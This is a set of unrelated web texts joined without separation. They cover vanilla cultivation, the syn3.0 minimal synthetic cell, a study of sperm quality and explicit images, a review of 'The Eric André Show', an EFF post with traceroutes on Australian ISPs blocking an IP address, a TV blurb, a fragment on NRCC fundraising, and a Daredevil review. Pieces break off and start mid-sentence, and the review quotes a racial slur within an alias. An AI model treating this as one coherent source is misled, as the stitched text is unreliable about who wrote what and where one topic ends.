But the vanilla that wearies us is rarely vanilla at all. Anywhere from 90 percent to 97 percent of vanilla-flavored products are made with vanillin, a substance found in small quantities in natural vanilla but made synthetically for processed commercial foods. Real vanilla contains hundreds of different components that contribute to its nuanced taste and aroma. It is as different from vanillin as sugar is from Equal; vanilla possesses subtlety and depth, while vanillin is loud, brassy, superficial. And yet most Americans have become accustomed to the latter. Many actually prefer it. Food manufacturers thus have little incentive to choose real vanilla: Using pure vanilla extract costs American ice cream manufacturers approximately 73 cents a gallon of ice cream, as opposed to 12 cents a gallon for extract made from vanillin, Tim Ecott writes in Vanilla: Travels in Search of the Ice Cream Orchid. It is primarily premium food products that contain pure vanilla—as well as, surprisingly, Coca-Cola, which industry insiders say contains the real thing. (Perhaps this is the meaning behind Coke’s slogan.)
Real vanilla, as the makers of Coke understand, gives foods a certain je ne sais quoi. Its rich, multifaceted flavor derives in part from the careful hand-rearing the beans receive. The orchid that produces the pods is something of a diva, making vanilla one of the world’s most labor-intensive crops. The finicky plant likes damp heat, steady rainfall, and a delicate balance of sunshine and shade. It takes its time—around two to three years—to produce an odorless, pale yellow flower that, unless pollinated, dies within hours. Pollination requires artificial insemination, a manual transfer of pollen from the male anther to the female stigma. (In Mexico, where vanilla originated, an indigenous bee pollinated the flowers; vanilla could not be grown elsewhere until a slave boy on the island of Reunion discovered how to pollinate the orchid in 1841.) The seed pods, like human children, take nine months to develop. But the green, string-beanlike pods become dark brown and fragrant only after a curing process that takes several months, a kind of spa treatment for vanilla beans. According to Rain, the pods are “wrapped in clothes and stored in boxes for hours to days, massaged, manipulated, laid in the sun to dry each morning and brought in to rest each evening.” The entire cultivation process can take up to five years. Most of the world’s vanilla is grown in Madagascar, Indonesia, Mexico, and Tahiti, where climate is right and land plentiful. Total production is small, around 2,000 metric tons a year, with demand historically exceeding supply. It’s no wonder that vanilla is one of the most expensive spices in the world. In 2004, vanilla prices peaked at $500 per kilo.
Of course, there are some who will demand real vanilla at any price. This has been especially true in the past 20 or so years, as consumers have grown wary of artificial additives and flavorings. Many now seek out quality products that use real vanilla and are willing to shell out for them. Professional chefs, too, have been using more vanilla—in the late ‘80s, it became a trendy addition to savory dishes after Wolfgang Puck famously paired lobster with vanilla sauce at Spago. Now, vanilla is a standard complement to fish or pork.
Since I had cooked only with vanilla extract, I decided to give the beans a try. I bought two dark, oily pods for $9.99 at Whole Foods and made Patricia Rain’s Vanilla Bean Rice, slicing the bean lengthwise and scraping the thousands of tiny, flavorful seeds into the saucepan. The smell of the rice was overpowering; I could have used it as an air freshener for my apartment, but it was far too fragrant to eat. And suddenly I had a vanilla epiphany. The rice, a truly bland food, forced the vanilla to take center stage. But vanilla is essentially a supporting actor. It is a sociable flavor, at its best when bringing out the best in other distinct ingredients, softening their acidity, drawing out their intensity, helping them to cohere. This is why baked goods made without vanilla lack depth and dimension, like music without a bass line. And it also explains why we associate vanilla with all things plain: Because vanilla rarely owns the spotlight, we’ve come to think of it as the wallflower of flavors, retiring and easily overlooked. Of course, like many wallflowers, vanilla has a lot going for it. It’s at once simple but sophisticated, familiar yet mysterious—and not at all bland.When the theoretical physicist Richard Feynman died, in early 1988, he left behind a maxim scrawled on the blackboard of his office at Caltech: “What I cannot create, I do not understand.” The words have been repeated often by scientists in many fields, but never so indelibly as when researchers at the J. Craig Venter Institute, in Rockville, Maryland, encoded them into the genome of a living organism, in 2010. Venter and his colleagues called their new entity syn1.0. It was a replica, with a few extra snippets of DNA thrown in, of Mycoplasma mycoides, a parasite that causes pneumonia in goats. Syn1.0 was the first human-engineered genome to be capable of controlling a cell, and Venter’s group used a custom alphabet of nucleotides to weave messages into it marking their own success. Revealingly but unintentionally, they mangled the Feynman quote, rendering it as “What I cannot build, I do not understand.”
Last week, in a paper published in the journal Science, Venter’s group unveiled the next step in their Feynmanian quest: syn3.0. For this edition of the parasite, their goal was to assemble as streamlined a new genome as possible. Humans have somewhere in the region of twenty-two thousand genes—more than a chicken, which has about seventeen thousand, but fewer than a grape, which boasts more than thirty thousand. Syn1.0, by comparison, had only nine hundred and one genes, and syn2.0 had five hundred and sixteen. By paring down their original synthetic genome even further, to four hundred and seventy-three, the researchers were able to produce what the Venter Institute’s Web site calls the world’s “first minimal synthetic bacterial cell.” Syn3.0 has the smallest genome of any self-replicating organism on Earth—that scientists are aware of, anyway—with “only the machinery necessary for independent life.” Within the discipline of synthetic biology, there seems to be little doubt that it represents an impressive achievement. Harvard’s George Church called it “a tour de force,” and Eugene Koonin, of the National Center for Biotechnology Information, described it as “quite a technical feat” and an “immensely satisfying development.”
But, in certain ways, syn3.0 must be classified as something other than a complete success. For a start, as Venter and his colleagues explain in their Science paper, they were able to build the genome but not, in Feynman’s words, create it. Their original designs failed to result in a viable cell. Instead, the researchers took syn1.0’s genome and reshuffled it, producing a lightweight variation on the original. At the same time, syn3.0 is not as minimal as it likely could be. It has fifty-two fewer genes than its nearest natural competitor, M. genitalium, a bacterium that infects the human urinary and genital tracts, but is still well above the theoretical lowest point. Koonin suspects that a truly minimal cell is something of an asymptotic target, one that synthetic biologists will edge closer and closer to, without ever actually reaching. Different creatures fulfill life’s essential functions differently, some with more brevity than others. Cherry-picking the best of each would be a Sisyphean task.
These issues aside, just how useful is Venter’s pursuit of minimalism? According to Christina Agapakis, the creative director of Ginkgo Bioworks, a bioengineering startup in Boston, the Institute’s techniques—particularly its gene-shuffling methods—will have important applications in the lab. But she was less convinced that, as Venter and his co-authors suggest in the Science paper, syn3.0 will reshape the biotechnology industry, which already relies on engineered microbes to produce everything from pharmaceuticals and food flavorings to detergent enzymes. “People have been doing industrial biotechnology for decades without a minimal cell,” Agapakis said. Yeast, for instance, has a larger genome than syn3.0, but it has been harnessed by humans for millennia, is well understood, requires little upkeep, can be grown at scale, and is relatively easy to genetically modify. It’s hard to imagine how syn3.0, which is raised on an expensive diet of cow parts within the cushy confines of a petri dish, could compete.
What it could do, however, is help scientists understand some of life’s most fundamental processes more completely. In 1996, when synthetic biology was in its infancy, Koonin wrote a paper in which he theorized that a cell with just two hundred and fifty-six genes, almost half as many as syn3.0, could be viable. Extrapolating backward from such a cell, he wrote, “may lead close to the origin of life itself,” shedding light on the nature of Earth’s last universal common ancestor—the simplest, most minimalistic organism, with none of the clutter of aeons of natural selection. In the past two decades, Koonin told me, Venter and others have done about as much extrapolating as is possible this way. But syn3.0 could still expand scientists’ knowledge of how existing organisms function. “Anyone who claims that she or he understands how a cell works is either ignorant or ridiculously arrogant,” Koonin said. “They don’t.”
Syn3.0 itself provides ample evidence of this: Venter’s group doesn’t know what nearly a third of its genes do. “Our main interest now is investigating those,” Hutchison said. For some of the mysterious genes, the researchers have a general sense of their purpose—removing toxins from the cell, for example—but not which chemicals are involved or why syn3.0 could possibly need six different ways of taking out the trash. For other genes, Hutchison said, “We don’t have a clue.” Answering that question will help demonstrate what functions are fundamental to life, if not how many genes they require.
One of the curious things about syn3.0 is that its stripped-down genome, although a marvel of human engineering, is poorly suited to life on Earth. It appears capable of all the essential functions, including reproduction, but it is already “en route to extinction,” Koonin said. Its wild counterpart, M. genitalium, has such a shrunken genome because it is far along what he called “a path of dependency”—as a parasite, it has outsourced many of its functions to its hosts, becoming less and less self-sufficient. It has lost genes in the process, leaving it vulnerable to the tiniest shifts in environmental context. “These particular organisms—they will not be on this planet for many hundreds of millions of years,” Koonin said. And yet, in its free-living state, even M. genitalium has some redundancies—non-essential genes that are, in fact, essential if the species is to mutate, evolve, and become capable of new behaviors. A minimal cell like syn3.0 is, by definition, doomed. Its DNA provides just enough information for a single organism to sustain its own life, but too little to insure the long-term survival of the species.
The American painter Ad Reinhardt, whose work had a major influence on the Minimalist movement, once wrote that “art begins with the getting-rid of nature.” Trying to engineer a minimal cell cannot help but run up against this dichotomy, which Agapakis summed up as the “conflict between the emergence of evolutionary novelty and the construction of designed novelty”—in other words, between the logic by which we seek to alter biology and the logic by which it alters itself. From this perspective, syn3.0’s relationship to life begins to resemble the relationship of Soylent to food. Both are facsimiles that serve mainly to show us the richness of the original.Published online 8 June 2005 | Nature | doi:10.1038/news050606-5
News
Men facing images of sexual competition may be more fertile.
Pictures of men with women drive male viewers to produce better-swimming sperm. © Getty
It might sound unlikely, but men looking at explicit pictures of two naked men with a naked woman have been shown to produce higher-quality sperm than those watching pornographic images featuring women only.
Although this seems to go against common perceptions about male sexual preferences, it is consistent with the theory of sperm competition, says study leader Leigh Simmons of the University of Western Australia, Perth. This states that males (of many species, including humans) should produce better sperm when faced with a female who has other mates, because this stimulates them to boost their chance of procreation.
The findings may help fertility clinics to obtain the best possible sperm samples from their clients, by providing specialized images of intercourse for men to view. This might help prospective fathers maximize their fertility, Simmons suggests. Though he adds that some women may disapprove of their partner viewing such material.
The report, published online by Biology Letters1, also suggests that men who keep their mobile telephone near to their testes may be harming the quality of their sperm. Before viewing the explicit photos, volunteers in the study were asked to complete a lifestyle questionnaire including details of their alcohol intake, smoking and telephone use. Those who kept a phone in a pocket or clipped to their belt seemed to show lower levels of sperm motility, the researchers note. But experts caution that it is hard to interpret this information, because the study was not designed to look at this effect.
Animal behaviour
The sperm competition theory has previously been tested in animals such as sticklebacks, which produce more sperm after watching fellow males court a female. But studies in humans are difficult to carry out because of the ethical difficulty of evaluating sexual situations, Simmons says.
He and his colleague Sarah Kilgallon recruited 52 heterosexual men for their study, and supplied them with a set of explicit pictures featuring either two men and a woman, or three women. They asked the men to watch the pictures privately, and collect a sperm sample for analysis.
The researchers found no consistent difference in sperm number between men who viewed the different images. But sperm quality did differ. After controlling for factors such as smoking and drinking, the researchers found that 90% of the difference in sperm motility, a key measure of fertility, could be explained on the basis of which pictures the men were given. "There was a real change in response to the images," says Simmons.
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Some theorists, such as Robin Baker in his book Sperm Wars, have argued that such images improve sperm quality because the viewer would expect to encounter sperm competition if he were actually part of the situation depicted.
It is an intriguing result, says Tim Birkhead, who studies sperm competition at the University of Sheffield, UK. "The results now need to be checked with a much larger sample," he adds.
Simmons says that further experiments and animal studies should be carried out to investigate the effects of mobile phones on fertility. At least one previous study has shown a possible link between phones and sperm count. But experts have cautioned that confounding factors, such as the fact that phone-users may have more stressful lives, make the results difficult to analyse.Destroying the Television Set(ting): The Anarchic Pleasures of 'The Eric André Show'
“There is no better starting point for thought than laughter; speaking more precisely, spasms of the diaphragm generally offer better chances for thought than spasms of the soul.” –Walter Benjamin
At first, it feels like a lost transmission from the late ’70s or early ’80s, the opaque and grainy warmth of its images both hypnotic and alienating. “The Eric André Show,” which started its second season on Adult Swim last week, is a cognitive rift on the TV screen, a conceptual manslaughter of the clichéd rituals of late-night talk shows and their soothing intimacy. The cordial musical number is replaced with an outburst of free jazz on whose notes Eric André, the boisterous host and creator of the series, barges in ripping the set apart, literally.
Rigidly scheduled sketches are knocked down by a corporeal comedy show where the instincts of humor are followed remorselessly. André chews, bolts, vomits, bleeds and hurls himself against anything and anyone. The habitual talk show checklist is dislodged as he keeps catching the audience off guard with arbitrary, surreal interludes. Spectators are flung from hilarity to incredulity while, to say it with Benjamin, the “anti-egoistic, shattering disarticulations of laughter” counter the predictable inflection of laugh tracks. André’s deadpan sidekick Hannibal Buress blends into this circus of madness like lemon juice with milk, the pair’s antithetical temperaments forming a hilarious and (un)tenable whole.
While your average late-night talk show stages a familiar routine, “The Eric André Show” is a nocturnal detour into absurdity, creative hysteria and demented wisdom. Moments of deliberate discomfiture undermine the contrived atmosphere of self-conscious informality that characterizes the programming format “The Eric André Show” deconstructs. Guests are improbable celebrity lookalikes disparaging the famous personalities they impersonate. The need for identification with stars is exposed in all its vacuity and then sarcastically mortified. George Clooney is a shoddy coxcomb struggling to put a meaningful sentence together; Russell Brand a lanky nutcase stunned by something mightier than drugs.
As the host, André ambushes his guests with ludicrous questions, the retorts to which often launch the conversation into even wilder hyperboles — for example, when The Hulk, a skinny Chinese dude painted green, starts recounting in uneasy and awkward details his first sexual encounter. While late night talk shows are usually one of the stops on the marketing tour of an actor or singer’s new film or record, André’s guests come to his show to vandalize their careers in grand style. Jay-Z and Beyoncé, played by a weird Hong Kong alcoholic and a wacky transsexual, unexpectedly flip at one of André’s questions, attacking him while Beyoncé breaks down in tears. Jack Nicholson shows his nipples while a grizzly bear calmly breaks up the studio as the two hosts linger terrified before making a jump for their lives, live.
When the cameras venture outside the studio, André engages in acts of living street theater, staging disruptive happenings that include running through a Civil War reenactment posing as a slave screaming for help while the dumbstruck participants look on. Other “skits” consist of besieging random passerbys pretending to be journalists after a hot piece of news, only for Buress to turn up in a slick suit to escort the hoax prey away posing as his lawyer. Next we see him on a street corner collecting signatures for a petition in favor of killing whales whose supposedly damaging impact is explained to puzzled passersby, unable to process discordant information, numbed by the toxic (and tax-free) ideology of charity.
KKK hoods are handed out at a Tea Party convention. On another occasion André himself asks random people on the street what they think of the show and its host. “I’m glad he’s dead,” says one. The bewildered reactions that random bystanders experience when André disrupts their daily grind aren’t dissimilar to how spectators feel in front of his show. By inverting the content of a familiar format, breaching the unwritten protocol of polite television, the rhetorical fabrications upon which it usually rests are laid bare. Shock makes way for critical questioning as the host attacks rational certainties and sides with bodily impetuses and secretions, infringing every taboo and etiquette.
The unmitigated audacity of André’s performances owes more to François Rabelais than it does to “Jackass.” Like the French Renaissance writer, André celebrates the elastic, malleable body that outgrows itself in a spasm to overcome the boundaries between action and the flat TV screen. While tears are the only bodily fluid allowed on television, our host spits, vomits and salivates as well as alluding to even nobler corporeal functions deemed improper by the bad conscience of liberal censorship. His own body, as in the theater of Jerzy Grotowski, becomes a meta-stage in which the puritanical rigidities of American talk shows are demolished to the tune of creative obscenity and aesthetic gluttony.
“The Eric André Show” sings the body electric of its own creator; its indefatigable reinventions illuminate the stage with dazzling expedients and outlandish guests. André’s spasmodic gestures exude a sense of libidinal rebellion; his inability to stay put and to stay on his mark is contagious and liberating. Contrapositions are as cacophonous as they are rhapsodic. One episode is bookended by four black strippers performing a tacky choreography while Devendra Banhart whispers a synth-infused, minimal dirge; another by a hip-hopper in a duet with an opera singer. Hallucinated programs from ’80s Euro-trash television and random refuses of pop cultural history are the show’s muses and cannibalized components.
The post-modern scavenging doesn’t result into a stale, academic-proof pastiche. On the contrary, “The Eric André Show” is an astute orgy of mass-mediated artifacts where every reference is decoded and turned on its head. Cinematically, the show is reminiscent of Elfman’s “Forbidden Zone” (1982) and Hyam’s “Stay Tuned” (1992) — it shares with them the same visionary courage and satirical verve. The delirious ghosts of Lloyd Kaufman’s Troma films also haunt the show. Sharp intellect dressed in a stoner outfit, that’s the stylistic backbone. It’s the hypothetical upshot of a crazed encounter between The Mothers of Invention and Amiri Baraka staging a talk show in a Los Angeles Cabaret Voltaire.
André throws back at spectators the televisual nonsense by which they are usually beguiled, deprived of its specious facade. Desecrated, the holy pulpit of the TV studio appears to the audience as a space of blasphemous and endless possibilities. When destroying the set during one of his calamitous overtures, he snarls at his guest “Thanks for being on the show!” while basically foaming at the mouth. One suspects it’s a method of greeting one or two hosts before him would have gladly adopted when welcoming an unwanted guest on a bad day…
The repressed is given free rein, the unspeakable is spelled out and the unwatchable played in slow motion as the hypocrisy of TV lounges is thrown out of the window. Eric André is to late-night talk shows what Hennessy Youngman is to fine art and Darius James (aka Chairman Ho Chi Nigger) is to film criticism: a deviant contribution to a confrontational pop culture that is both intellectual and taunting, serious and delirious. “The Eric André Show” is a “Laugh and Awe” operation striking at the heart of the industrial entertainment complex, a symbolic stomach-pump that makes us regurgitate all that is noxious in our tele-diet to make room for the forbidden fruits of television. Things on TV don’t need to be the way they are, “The Eric André Show” graphically suggests.
Celluloid Liberation Front is a multi-use(r) name, an open reputation informally adopted and shared by a desiring multitude of insurgent spect-actors. For reasons that remain unknown, the name was borrowed from a collective of anti- imperialist blind filmmakers from the Cayman Islands. Twitter: @CLF_Project
Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.UPDATE 2013-04-12: Apparently as a result of this blog post, social media attention, and questions from the Australian Greens to the Australian Federal Attorney General's Department, the block has been lifted. But there has not yet been any explanation of why these 1,200 sites were blocked in the first place.
EFF has long opposed Australia's Internet censorship schemes, warning that even the voluntary filtering that has been implemented by Australia's largest ISPs, Telstra and Optus, lacks transparency and accountability, and could lead to collateral damage—accidental censorship of websites that are not violating the law in any way. A dramatic example of such collateral damage appears to be occuring at the moment.
EFF was recently contacted by the organisers of a community group called the Melbourne Free University (MFU) because their site appears to have been blocked or censored by Australian network operators, possibly at the request of the Australian government. Users from some (but not all) Australian ISPs have been unable to reach the Melbourne Free University site since Thursday the 4th of April. An employee of one of the affected ISPs told MFU by email that the site was blocked as a result of an order from the Australian government, but was unable to say more. Research by EFF and MFU, and discussion amongst Australian network operators, confirms that the IP address has been black holed by a number of Australian ISPs, preventing access to more than 1,200 websites including the Melbourne Free University (multiple websites sharing a single IP address is common due to virtual hosting).
The causes for the block are currently unknown. Speculation by the Australian networking community has included criminal investigations, action by ASIC, or DDOS mitigation. Unusually, a representative of one of the blackholing ISPs, AAPT, would only state that "in regard to this issue, this IP address has been blocked". Under conditions where the cause was to protect the functioning of the Internet, such as to combat a denial-of-service attack, one would expect the ISP to clearly describe the reasons for the temporary filter to better assist other network operators. It would be surprising if the cause was Australia's nascent Internet censorship system as that is reported to operate with DNS rather than IP blocks.
Whatever the reason for the IP black hole, it is extremely unlikely that they justify the reckless censorship of 1,200 sites for Australian Internet users, and very disturbing that the true reasons have not been made public after many days of requests from the affected parties. Decisions that affect the global connectivity of the Internet should be made transparently, whether they are made in the offices of ISPs, or in the courts and corridors of government.
In the mean time, Australian Internet users who are affected by it can install Tor to access affected websites.
Some Technical Info on the Black Hole
A typical traceroute from an affected ISP looks like this:
> $ traceroute www.melbournefreeuniversity.org > traceroute to melbournefreeuniversity.org (198.136.54.104), 64 hops max, 40 > byte packets > 1 XXXXXXXXXXXXX (192.168.1.254) 1 ms 1 ms 1 ms > 2 XXX.XXX.96.58.static.exetel.com.au (58.96.XXX.XXX) 18 ms 19 ms 18 ms > 3 33.2.96.58.static.exetel.com.au (58.96.2.33) 19 ms 18 ms 19 ms > 4 pe-5017370-mburninte01.gw.aapt.com.au (203.174.186.73) 24 ms 20 ms > 20 ms > 5 te3-3.mburndist01.aapt.net.au (203.131.61.30) [MPLS: Label 190 Exp 1] > 35 ms 35 ms 31 ms > 6 te0-3-4-0.mburncore01.aapt.net.au (202.10.12.15) [MPLS: Label 17412 Exp > 1] More labels 31 ms More labels 31 ms More labels 30 ms > 7 bu2.sclarcore01.aapt.net.au (202.10.10.74) [MPLS: Label 16702 Exp 1] > More labels 49 ms More labels 32 ms More labels 31 ms > 8 te2-2.sclardist01.aapt.net.au (202.10.12.2) [MPLS: Label 895 Exp 1] 31 > ms 32 ms 33 ms > 9 * po6.sclarbrdr01.aapt.net.au (202.10.14.3) 30 ms * > 10 * * * > 11 * * *
Packets for the MFU website, which is hosted in the US, never make it out of Australian networks. For comparison, a traceroute from an Australian university where censorship is not present looks like this:
$ traceroute www.melbournefreeuniversity.org traceroute to www.melbournefreeuniversity.org (198.136.54.104), 30 hops max, 60 byte packets 1 128.250.XXX.XXX (128.250.XXX.XXX) 0.731 ms 0.825 ms * 2 172.18.XXX.XXX (172.18.XXX.XXX) 0.731 ms 0.713 ms 0.694 ms 3 * * * 4 * * * 5 * * * 6 * * * 7 * * * 8 ge-7-1-0.bb1.a.syd.aarnet.net.au (202.158.194.242) 12.984 ms 13.037 ms 13.030 ms 9 xe-0-0-0.bb1.b.sea.aarnet.net.au (202.158.194.121) 155.554 ms 155.514 ms 155.491 ms 10 * * * 11 * * * 12 ae-32-52.ebr2.Seattle1.Level3.net (4.69.147.182) 240.518 ms * * 13 * * * 14 * * * 15 ae-2-2.ebr2.Dallas1.Level3.net (4.69.132.106) 238.357 ms 238.176 ms 238.409 ms 16 ae-92-92.csw4.Dallas1.Level3.net (4.69.151.165) 255.044 ms ae-62-62.csw1.Dallas1.Level3.net (4.69.151.129) 242.661 ms ae-82-82.csw3.Dallas1.Level3.net (4.69.151.153) 241.341 ms 17 ae-73-73.ebr3.Dallas1.Level3.net (4.69.151.146) 240.255 ms ae-63-63.ebr3.Dallas1.Level3.net (4.69.151.134) 238.899 ms ae-83-83.ebr3.Dallas1.Level3.net (4.69.151.158) 236.614 ms 18 ae-7-7.ebr3.Atlanta2.Level3.net (4.69.134.22) 240.434 ms 239.945 ms 241.744 ms 19 ae-63-63.ebr1.Atlanta2.Level3.net (4.69.148.242) 241.140 ms 241.238 ms 241.278 ms 20 ae-1-8.bar1.Orlando1.Level3.net (4.69.137.149) 238.578 ms 238.914 ms 238.484 ms 21 ten-7-4.edge1.level3.mco01.hostdime.com (67.30.140.198) 243.929 ms 244.469 ms 243.938 ms 22 * * * 23 * * * 24 * * * 25 * * * 26 * * * 27 * * * 28 * * * 29 * * * 30 * * * $ sudo traceroute -T -p 80 www.melbournefreeuniversity.org traceroute to www.melbournefreeuniversity.org (198.136.54.104), 30 hops max, 44 byte packets 1 128.250.XXX.XXX (128.250.XXX.XXX) 0.476 ms 0.585 ms 0.581 ms 2 172.18.XXX.XXX (172.18.XXX.XXX) 0.729 ms 0.734 ms * 3 * * * 4 * * * 5 * * * 6 * * * 7 * * * 8 so-0-1-0.bb1.a.syd.aarnet.net.au (202.158.194.34) 14.958 ms 14.951 ms 14.998 ms 9 xe-0-0-0.bb1.b.sea.aarnet.net.au (202.158.194.121) 156.501 ms 156.522 ms 156.499 ms 10 * * * 11 * * * 12 * * * 13 ae-2-2.ebr2.Denver1.Level3.net (4.69.132.54) 240.604 ms * * 14 * * ae-1-100.ebr1.Denver1.Level3.net (4.69.151.181) 238.874 ms 15 * ae-2-2.ebr2.Dallas1.Level3.net (4.69.132.106) 239.695 ms 239.757 ms 16 ae-72-72.csw2.Dallas1.Level3.net (4.69.151.141) 238.391 ms ae-62-62.csw1.Dallas1.Level3.net (4.69.151.129) 243.191 ms ae-92-92.csw4.Dallas1.Level3.net (4.69.151.165) 240.982 ms 17 ae-83-83.ebr3.Dallas1.Level3.net (4.69.151.158) 239.423 ms ae-63-63.ebr3.Dallas1.Level3.net (4.69.151.134) 240.658 ms ae-93-93.ebr3.Dallas1.Level3.net (4.69.151.170) 242.555 ms 18 ae-7-7.ebr3.Atlanta2.Level3.net (4.69.134.22) 242.528 ms 242.706 ms 242.316 ms 19 ae-63-63.ebr1.Atlanta2.Level3.net (4.69.148.242) 243.530 ms 243.745 ms 237.970 ms 20 ae-1-8.bar1.Orlando1.Level3.net (4.69.137.149) 243.341 ms 245.715 ms 236.782 ms 21 ten-7-4.edge1.level3.mco01.hostdime.com (67.30.140.198) 239.822 ms 241.864 ms 238.934 ms 22 active.host-care.com (198.136.54.104) 240.094 ms 240.135 ms 240.132 ms
Other websites using the same IP address ( including karenleefield.com, moneysaveuk.com, fmachennai.org, smartandfrank.com, and kohchangpoolvillas.com) demonstrate similar behavior.
A BGP query to looking glass server at an affected Australian backbone ISP shows the black hole as an abnormal route to the destination IP:
Router: Sydney Command: show ip bgp 198.136.54.104 255.255.255.0 longer BGP table version is 146982471, local router ID is 203.63.80.155 Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, r RIB-failure, S Stale, m multipath, b backup-path, x best-external Origin codes: i - IGP, e - EGP,? - incomplete Network Next Hop Metric LocPrf Weight Path *> 198.136.54.104/32 192.0.2.1 0 101 32768?Father Brown faces his most startling cases yet as assassination plots and apparent time machines materialize and an ally becomes a murder suspect.
1. The Man in the Shadows 45m |
, Barletta gave the NRCC $100,000, in what he told POLITICO was a nod to Stivers’ efforts to help all types of Republicans. Other Republicans who resisted paying dues in the past have also begun to pony up, a key reason the NRCC last month raised a record amount for an off-cycle January.
The loyalty has been spurred in part by an institutional change Stivers made at the NRCC: The campaign arm for the first time will financially support Republicans in primaries if they’ve paid their dues and are facing a tough challenger.
“We need to be one team and to have one fight,” Stivers said.
Unified or not, the NRCC is in for a tough election cycle, in no small part because of an energized liberal base. Led by Indivisible, the group inspired by the success of the tea party, progressives are storming town halls and inviting members who haven’t appeared in public to their own makeshift constituent events.
They’ve caught the attention of local newspaper editorial boards around the country, who’ve encouraged their respective members to meet more frequently with unhappy constituents.
Stivers said he and other members are “not interested in going some place just to get screamed at.” He predicts that progressives will “overreach by shouting people down,” and by “busing people in.”
“They probably guaranteed Rep. Jason Chaffetz’s re-election for as long as he wants to run in Utah because the people that shouted him down didn’t live in his district, and the people who live in his district didn’t like that,” Stivers said, referring to the Utah Republican's contentious town hall in mid-February. “For as angry and upset and loud as these people get, they’re motivating our base, too.”For some reason there has always been a weird disconnect between comic book superheroes and film media. Which makes little sense, since heroic literary characters of the same archetype (Zorro, Tarzan, The Scarlet Pimpernel, etc.) have done pretty well in various film incarnations, despite their outlandish similarity to comic book heroes of the same vein. By “done pretty well” I refer to the faithfulness of their film incarnations to the original source material. Meanwhile, comic book superheroes rarely make it to the live screen without being horribly (and, usually, inappropriately) revamped and retooled into completely different creations. Creations that usually fail to satisfy.
I suspect the problem lies in the categorization of the source material itself. Books are books, and their contents, literature; whereas comic books originated as an inexpensive entertainment mostly intended for kids, printed on rough pulp stock garishly depicted in the cheapest four-color process of the day. Comics were meant to be read and thrown away (which is why mint condition comics from the 1930’s and 1940’s are prized by collectors today). Their covers trumpeted words like “Fun” and “Amazing” and “Action” in huge splashy fonts across the title banner. Superheroes were the biggest, brightest, flashiest characters of all, always larger than life… but infused with a raw childish glee. Simple plots, minimal dialogue, and fast action: that was the winning formula of the golden and silver ages of comic publishing.
It’s long been believed in the hallowed halls of film and broadcasting that comic books are strictly kid’s stuff. So when adapting comic book superheroes into film media, that is the approach too often taken by those involved– always to the detriment (and failure) of the adaptation.
But superhero comics— even the silliest and most immature of the lot— have always been taken seriously, if by no one else than by their faithful readers. Each fictional superheroic milieu exists as its own domain, bound by its unique inherent logic. If those who adapt that material take the time to understand— and remain true to— that logic, the end result will satisfy and embody the essence of that superhero experience.
But if not— then woe to any who dare adapt a superhero comic by trying to “elevate it” above the inherent rules and requirements of its source. You cannot do a superhero adaptation justice by steeping it in irony, while laughing at it behind your hand– especially if you don’t really understand why the source material is anything other than a big dumb joke intended for children. You might successfully parody it or devolve it to satire, and such a mockery might even be popular for a year or so until the laughter wears thin. But those laughing won’t be real fans; they’ll be those who mock the costumed superhero genre because they find it inherently laughable. They can’t appreciate the childish wonder and simplicity that were the roots the genre, nor can they accept the depth and complexity that has since infused superhero comics, evolving them into an art form that can readily compete with the most powerful examples of traditional literature; one full of the same philosophical resonance and inspiring characterization found in the most relevant of modern novels today.
Over the past 85 years of film and television, the only decent superhero adaptations were those which approached the subject matter with the utmost seriousness and took earnest care to preserve the unique elements that encapsulate the look, the spirit, and the underlying (albeit completely unreal) superhero logic that breathes urgency, relevance, truth— and ultimately, LIFE— into a fictional world that allows for the existence of such strange and wonderful anomalies as masked, costumed, super-powered crime fighters.
Studio executives and artists who can neither grasp nor accept the necessary unreality of such an adaptation will always strive to re-tool the comic book superhero into something more “realistic” and “less outlandish,” in the mistaken assumption that to attract and satisfy a “normal” audience, some supposedly-irrational elements common to superhero comics must be eliminated and the entire premise brought closer to real-world interaction. Costumes will be subdued or minimized; masks will be eliminated or taken off; larger-than-life set pieces will be re-imagined into something more mundane and realistically commonplace.
That is almost always a mistake; if such elements are changed, they must be replaced with satisfactory variants. You cannot take away the mask, or the cape, or the secret headquarters, without losing part of what makes the superhero unique and defines his character.
Nor should the adaptation completely abandon the realm of belief by pushing the superhero into an impossible world of bizarre impressionist scenery and ridiculous colors intended to suggest those found in four-color comic print. That’s a cheat; it completely gives up on the adaptation by resorting to artifice, slick trickery intended to excuse the unreality of the material by blaming its original format. A skilled director might successfully copy the style of an original comic by translating it into the “hyper-real”— but he shouldn’t surrender and diminish the entire exercise by just flattening it out and emulating a comic palette. That cheapens it without doing the original material justice.
Nor must everything therein be grim and humorless; but the humor that emerges within that world must be a part of that world; it cannot be laughter from outside, at that world’s expense.
Above all, every element of the superhero character and the world in which he dwells must be taken seriously, by all involved, or the entire project will ultimately ring false. Certain film and television directors have lately been able to succeed in this area, some more so than others. But to do so, those who would attempt such an adaptation must be fearlessly devoted to the original comic of origin.
Fearless. Which brings me to my review of the new NetFlix series, Daredevil.
Unlike a few recent television superhero adaptations which seem desperate to change the interactive dynamic of the comic books upon which they are based by unnecessarily altering seminal traits of the superheroes involved, and surrounding them with gobs of extra characters to shamelessly transform the adaptations into ensemble pieces of soap opera complexity (a hold over from the “focus more on the day-to-day life and relationships of the heroes than on the super stuff” trend of recent adaptations), Daredevil gets it mostly right.
It remains surprisingly true to the original comic book series. The main characters are recognizable, the action is believable (but still heightened enough to qualify as “super”), the fight scenes are amazingly well-crafted, and the plotting, though sluggish (even glacial) at times, eventually gets there. This first series functions as a 13-hour-long extended origin tale, and really takes its time getting to the last shot of the series— the big pay off costume pose. It’s a slow burn, but well worth it.
Charlie Cox is a solid choice to play Matt Murdock / Daredevil, a blind-but-superpowered lawyer who fights crime on the side. The series chronicles the character’s origin, juxtaposed with the rise of crime lord Wilson Fisk (whom comic fans know as The Kingpin), convincingly played by Vincent D’Onofrio. Deborah Ann Woll is believable as Karen Page and Elden Henson is adequate (admittedly with a few good moments) as Foggy Nelson.
The series creator is Drew Goddard, and the showrunner is Stephen DeKnight— both BtVS alumni during Joss Whedon’s WB/UPN tenure— which explains a lot. The same intricate plotting punctuated by sudden turnarounds and dramatic plot twistiness, long familiar to Buffy and Angel fans, abounds.
It’s a quiet adaptation, and one that definitely needs a second season to really get its feet under itself (another signature quality of the Whedon television ouvre). But it’s a highly successful relaunch of a superhero whose video legacy was almost ruined by a few half-assed appearances in desperate 1980’s Hulk TV movies and Ben Afflecks’ self-indulgent scenery-chewing film version. Let us never speak of those adaptations ever again.
